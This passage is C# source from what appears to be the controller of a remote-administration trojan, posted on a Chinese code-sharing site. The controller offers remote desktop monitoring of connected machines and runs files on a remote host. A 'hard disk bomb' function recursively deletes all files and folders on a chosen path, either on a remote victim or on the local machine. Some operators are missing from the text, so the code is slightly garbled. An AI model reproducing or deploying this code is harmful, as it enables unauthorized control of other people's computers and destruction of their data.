this.btnHelp.Show(); this.btnMinimize.Show(); tool = false; } else { this.btnMinimize.Hide(); this.btnHelp.Hide(); this.btnCommand.Hide(); this.btnVideo.Hide(); this.btnSettServer.Hide(); this.btnDesktop.Hide(); this.btnOnline.Hide(); tool = true; } } #endregion #region 远程桌面监控 /// <summary> /// 远程桌面监控 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnDesktop_Click(object sender, EventArgs e) { if (this.listViewCommand.CheckedIndices.Count > 1) { MessageBox.Show("不能同时监控两台机器.."); } else if (this.listViewCommand.CheckedIndices.Count == 0) { MessageBox.Show("请选择要时监控的机器.."); } else { int index = 0; foreach (int i in this.listViewCommand.CheckedIndices) { index = i; } for (int i = 0; i < this.ary.Count; i ) { Socket sk = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString()); if (this.listViewCommand.Items[index].Text == ip.ToString() && this.listViewCommand.Items[i].Checked == true) { Desktop dk = new Desktop(sk); dk.Show(); } } } } #endregion #region 运行文件 /// <summary> /// 运行文件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnRun_Click(object sender, EventArgs e) { try { if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1) { //取得当前listView所选中的项 int index = 0; foreach (int i in this.listViewFile.SelectedIndices) { index = i; } string list = this.listViewFile.Items[index].SubItems[0].Text; //取得当前的节点 string tree = this.treeView1.SelectedNode.Text; //并接成字符串 string filePath = tree "\\" list; for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (ip.ToString() == this.lastly) { NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); if (cmd.RunFile(filePath)) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件运行成功-----"); //刷新 this.treeView1.Refresh(); this.listViewFile.Refresh(); } else { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件运行失败-----"); } ns.Close(); } } } else { //取得当前listView所选中的项 int index = 0; foreach (int i in this.listViewFile.SelectedIndices) { index = i; } string list = this.listViewFile.Items[index].SubItems[0].Text; //取得当前的节点 string tree = this.treeView1.SelectedNode.Text; //并接成字符串 string filePath = tree list; //运行该文件 Process p = new Process(); //判断是否是文件夹 bool run = false; if (Directory.Exists(filePath)) { p.StartInfo.FileName = "explorer.exe"; p.StartInfo.Arguments = filePath; run = true; } else { //打开文件 p.StartInfo.FileName = filePath; //开始运行 p.Start(); run = true; } if (run) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件运行成功-----"); //刷新 this.treeView1.Refresh(); this.listViewFile.Refresh(); } else { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件运行失败-----"); } } } catch (Exception) { } } #endregion #region 硬盘炸弹执行方法 /// <summary> /// 硬盘炸弹执行方法 /// </summary> /// <param name="path"></param> private void DeleteDir(string path) { try { string[] paths = path.Split('|'); for (int i = paths.Length-1; i >=0; i--) { Directory.Delete(paths[i].ToString()); } this.dir = ""; } catch(Exception) { this.dir = ""; } } string dir = ""; private void DeleteFile(string path) { try { DirectoryInfo directory = new DirectoryInfo(path); FileInfo[] files = directory.GetFiles(); foreach (FileInfo d in files) { d.Delete(); } DirectoryInfo[] dire = directory.GetDirectories(); foreach (DirectoryInfo d in dire) { dir = d.FullName "|"; this.DeleteFile(path "//" d.Name); } } catch (Exception) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "轰炸失败-----"); } } #endregion #region 硬盘炸弹 /// <summary> /// 硬盘炸弹 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnBomb_Click(object sender, EventArgs e) { try { if (null == this.treeView1.SelectedNode) { return; } if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1) { //取得当前的节点 string tree = this.treeView1.SelectedNode.Text; //并接成字符串 string filePath = tree; for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (ip.ToString() == this.lastly) { NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); if (cmd.Bomb(filePath)) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "轰炸成功-----"); //刷新 this.treeView1.Refresh(); this.listViewFile.Items.Clear(); } else { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "轰炸失败-----"); //刷新 this.treeView1.Refresh(); this.listViewFile.Items.Clear(); } ns.Close(); } } } else { //取得当前的节点 string tree = this.treeView1.SelectedNode.Text; //并接成字符串 string filePath = tree; //运行该文件 this.DeleteFile(filePath); this.DeleteDir(this.dir.Substring(0, dir.Length - 1)); this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "轰炸成功-----"); } } catch (Exception) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "轰炸失败-----"); } } #endregion } }
好例子网口号:伸出你的我的手 — 分享!
网友评论
小贴士
感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。
- 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
- 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
- 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
- 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。
关于好例子网
本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明
支持(0) 盖楼(回复)